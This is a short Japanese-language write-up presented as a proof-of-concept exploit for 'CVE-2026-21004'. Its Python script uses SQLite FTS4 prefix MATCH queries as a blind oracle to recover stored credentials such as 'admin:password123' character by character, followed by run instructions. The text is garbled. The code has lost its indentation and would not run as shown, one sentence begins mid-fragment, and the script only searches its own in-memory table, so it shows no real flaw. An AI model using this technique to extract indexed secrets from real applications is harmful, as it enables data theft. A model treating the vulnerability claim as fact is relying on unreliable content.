
CVE-2026-21004 の概念実証エクスプロイト: 巧妙に細工した SQLite FTS3/4 の MATCH プレフィックスクエリをブラインドオラクルとして使用し、インデックス化された秘密データを1文字ずつ復元します。
# sqlite_fts_leak.py - Creates FTS table and exploits match info
import sqlite3
conn = sqlite3.connect(':memory:')
conn.execute("CREATE VIRTUAL TABLE secrets USING fts4(content TEXT)")
conn.execute("INSERT INTO secrets VALUES ('admin:password123')")
conn.execute("INSERT INTO secrets VALUES ('user:secret456')")
# Attacker guesses characters using FTS MATCH with partial matching
def guess_char(prefix, known):
for c in "abcdefghijklmnopqrstuvwxyz0123456789_:":
query = f'SELECT * FROM secrets WHERE content MATCH ?'
# In FTS4, MATCH can leak whether a term exists; we abuse by searching column directly
try:
cur = conn.execute(query, (f'"{prefix}{c}*"',))
if cur.fetchone():
return c
except:
pass
return None
# Recover the secret character by character
prefix = ""
for _ in range(20):
c = guess_char(prefix, "")
if c is None: break
prefix += c
print(f"Recovered: {prefix}")
SQLite FTS4を使用するアプリケーションは、MATCHクエリに基づいて結果を返す検索機能を公開しています。一致するかどうか(またはタイミングの差)を観察することで、攻撃者は全文インデックスの内容を1文字ずつブルートフォースし、機密データを抽出できます。
term*)をサポートしており、攻撃者は完全な用語を知らなくても辞書攻撃を実行できます。エクスプロイトを実行します:
python sqlite_fts_leak.py
このスクリプトは、secretsテーブルの内容を段階的に復元します。